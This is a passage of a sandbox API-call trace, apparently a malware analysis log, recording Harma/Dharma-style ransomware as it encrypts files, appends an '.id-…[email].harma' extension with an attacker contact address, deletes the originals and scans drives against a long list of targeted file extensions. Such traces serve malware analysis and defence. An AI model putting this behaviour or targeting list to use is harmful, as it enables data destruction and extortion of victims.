(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.660] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.660] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0171.670] GetLastError () returned 0x0 [0171.670] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0171.948] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0174.397] ReadFile (in: hFile=0x348, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.397] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0174.397] SetEndOfFile (hFile=0x20c) returned 1 [0174.397] CloseHandle (hObject=0x20c) returned 1 [0174.398] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.398] SetEndOfFile (hFile=0x348) returned 1 [0174.400] CloseHandle (hObject=0x348) returned 1 [0174.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 1 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.402] lstrlenW (lpString=".doc") returned 4 [0174.402] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0174.402] lstrlenW (lpString=".docx") returned 5 [0174.402] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0174.402] lstrlenW (lpString=".pdf") returned 4 [0174.402] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0174.402] lstrlenW (lpString=".xls") returned 4 [0174.402] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0174.402] lstrlenW (lpString=".xlsx") returned 5 [0174.402] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0174.402] lstrlenW (lpString=".ppt") returned 4 [0174.402] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.402] lstrlenW (lpString=".zip") returned 4 [0174.402] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0174.402] lstrlenW (lpString=".rar") returned 4 [0174.402] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0174.402] lstrlenW (lpString=".bz2") returned 4 [0174.402] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0174.402] lstrlenW (lpString=".7z") returned 3 [0174.402] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.402] lstrlenW (lpString=".dbf") returned 4 [0174.402] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.402] lstrlenW (lpString=".1cd") returned 4 [0174.402] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0174.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString=".jpg") returned 4 [0174.403] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString=".doc") returned 4 [0174.403] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0174.403] lstrlenW (lpString=".docx") returned 5 [0174.403] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0174.403] lstrlenW (lpString=".pdf") returned 4 [0174.403] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString=".xls") returned 4 [0174.403] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString=".xlsx") returned 5 [0174.403] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0174.403] lstrlenW (lpString=".ppt") returned 4 [0174.403] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString=".zip") returned 4 [0174.403] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString=".rar") returned 4 [0174.403] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0174.403] lstrlenW (lpString=".bz2") returned 4 [0174.403] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0174.403] lstrlenW (lpString=".7z") returned 3 [0174.403] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString=".dbf") returned 4 [0174.403] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.403] lstrlenW (lpString=".1cd") returned 4 [0174.403] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0174.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0174.404] lstrlenW (lpString=".jpg") returned 4 [0174.404] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0174.404] lstrlenW (lpString=".id-") returned 4 [0174.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351590 | out: hHeap=0x300000) returned 1 [0174.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef98 | out: hHeap=0x300000) returned 1 [0174.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac04c8 | out: hHeap=0x300000) returned 1 [0174.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad04d0 | out: hHeap=0x300000) returned 1 [0174.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4050020 | out: hHeap=0x300000) returned 1 [0174.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351578 | out: hHeap=0x300000) returned 1 [0174.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351578 [0174.411] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351578, Size=0x20) returned 0x41d2290 [0174.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351578 [0174.411] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351578, Size=0x20) returned 0x41d21c8 [0174.412] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.412] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.412] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff58 | out: OldValue=0x363ff58*=0x1) returned 1 [0174.412] lstrlenW (lpString="kernel32.dll") returned 12 [0174.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.412] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 62 os_tid = 0x6f8 [0132.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ae04d8 [0132.330] lstrlenW (lpString="C:") returned 2 [0132.330] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x377fd00 | out: lpFindFileData=0x377fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3c1ac8 [0132.330] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0132.330] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0132.330] lstrlenW (lpString="$Recycle.Bin") returned 12 [0132.330] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0132.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x4160048 [0132.331] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0132.331] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3c1b08 [0132.331] FindNextFileW (in: hFindFile=0x3c1b08, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.331] FindNextFileW (in: hFindFile=0x3c1b08, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0132.331] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0132.331] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0132.331] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0132.331] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0132.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x4170050 [0132.332] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0132.332] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3c1b48 [0132.332] FindNextFileW (in: hFindFile=0x3c1b48, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.332] FindNextFileW (in: hFindFile=0x3c1b48, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d54a20, ftCreationTime.dwHighDateTime=0x1d58aa9, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.332] lstrlenW (lpString="desktop.ini") returned 11 [0132.332] lstrlenW (lpString=".1cd") returned 4 [0132.332] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0132.332] lstrlenW (lpString=".3ds") returned 4 [0132.332] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0132.332] lstrlenW (lpString=".3fr") returned 4 [0132.332] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0132.332] lstrlenW (lpString=".3g2") returned 4 [0132.332] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0132.332] lstrlenW (lpString=".3gp") returned 4 [0132.332] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0132.332] lstrlenW (lpString=".7z") returned 3 [0132.332] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0132.332] lstrlenW (lpString=".accda") returned 6 [0132.332] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".accdb") returned 6 [0132.333] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".accdc") returned 6 [0132.333] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".accde") returned 6 [0132.333] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".accdt") returned 6 [0132.333] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".accdw") returned 6 [0132.333] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0132.333] lstrlenW (lpString=".adb") returned 4 [0132.333] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".adp") returned 4 [0132.333] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai") returned 3 [0132.333] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0132.333] lstrlenW (lpString=".ai3") returned 4 [0132.333] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai4") returned 4 [0132.333] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai5") returned 4 [0132.333] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai6") returned 4 [0132.333] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai7") returned 4 [0132.333] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".ai8") returned 4 [0132.333] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".anim") returned 5 [0132.333] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0132.333] lstrlenW (lpString=".arw") returned 4 [0132.333] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0132.333] lstrlenW (lpString=".as") returned 3 [0132.334] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0132.334] lstrlenW (lpString=".asa") returned 4 [0132.334] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".asc") returned 4 [0132.334] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".ascx") returned 5 [0132.334] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0132.334] lstrlenW (lpString=".asm") returned 4 [0132.334] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".asmx") returned 5 [0132.334] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0132.334] lstrlenW (lpString=".asp") returned 4 [0132.334] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".aspx") returned 5 [0132.334] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0132.334] lstrlenW (lpString=".asr") returned 4 [0132.334] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".asx") returned 4 [0132.334] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".avi") returned 4 [0132.334] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".avs") returned 4 [0132.334] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".backup") returned 7 [0132.334] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0132.334] lstrlenW (lpString=".bak") returned 4 [0132.334] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".bay") returned 4 [0132.334] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".bd") returned 3 [0132.334] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0132.334] lstrlenW (lpString=".bin") returned 4 [0132.334] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0132.334] lstrlenW (lpString=".bmp") returned 4 [0132.335] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".bz2") returned 4 [0132.335] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".c") returned 2 [0132.335] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0132.335] lstrlenW (lpString=".cdr") returned 4 [0132.335] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cer") returned 4 [0132.335] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cf") returned 3 [0132.335] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0132.335] lstrlenW (lpString=".cfc") returned 4 [0132.335] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cfm") returned 4 [0132.335] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cfml") returned 5 [0132.335] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0132.335] lstrlenW (lpString=".cfu") returned 4 [0132.335] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".chm") returned 4 [0132.335] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cin") returned 4 [0132.335] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".class") returned 6 [0132.335] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0132.335] lstrlenW (lpString=".clx") returned 4 [0132.335] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".config") returned 7 [0132.335] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0132.335] lstrlenW (lpString=".cpp") returned 4 [0132.335] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0132.335] lstrlenW (lpString=".cr2") returned 4 [0132.335] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".crt") returned 4 [0132.336] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".crw") returned 4 [0132.336] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".cs") returned 3 [0132.336] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0132.336] lstrlenW (lpString=".css") returned 4 [0132.336] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".csv") returned 4 [0132.336] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".cub") returned 4 [0132.336] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dae") returned 4 [0132.336] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dat") returned 4 [0132.336] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".db") returned 3 [0132.336] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0132.336] lstrlenW (lpString=".dbf") returned 4 [0132.336] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dbx") returned 4 [0132.336] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dc3") returned 4 [0132.336] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dcm") returned 4 [0132.336] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dcr") returned 4 [0132.336] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".der") returned 4 [0132.336] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dib") returned 4 [0132.336] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0132.336] lstrlenW (lpString=".dic") returned 4 [0132.336] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dif") returned 4 [0132.337] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".divx") returned 5 [0132.337] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".djvu") returned 5 [0132.337] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".dng") returned 4 [0132.337] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".doc") returned 4 [0132.337] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".docm") returned 5 [0132.337] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".docx") returned 5 [0132.337] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".dot") returned 4 [0132.337] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dotm") returned 5 [0132.337] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".dotx") returned 5 [0132.337] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0132.337] lstrlenW (lpString=".dpx") returned 4 [0132.337] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dqy") returned 4 [0132.337] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dsn") returned 4 [0132.337] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dt") returned 3 [0132.337] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0132.337] lstrlenW (lpString=".dtd") returned 4 [0132.337] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dwg") returned 4 [0132.337] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0132.337] lstrlenW (lpString=".dwt") returned 4 [0132.337] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".dx") returned 3 [0132.338] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0132.338] lstrlenW (lpString=".dxf") returned 4 [0132.338] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".edml") returned 5 [0132.338] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0132.338] lstrlenW (lpString=".efd") returned 4 [0132.338] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".elf") returned 4 [0132.338] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".emf") returned 4 [0132.338] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".emz") returned 4 [0132.338] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".epf") returned 4 [0132.338] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".eps") returned 4 [0132.338] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".epsf") returned 5 [0132.338] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0132.338] lstrlenW (lpString=".epsp") returned 5 [0132.338] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0132.338] lstrlenW (lpString=".erf") returned 4 [0132.338] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".exr") returned 4 [0132.338] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0132.338] lstrlenW (lpString=".f4v") returned 4 [0132.338] lstrcmpiW (lpString1=".f4v", 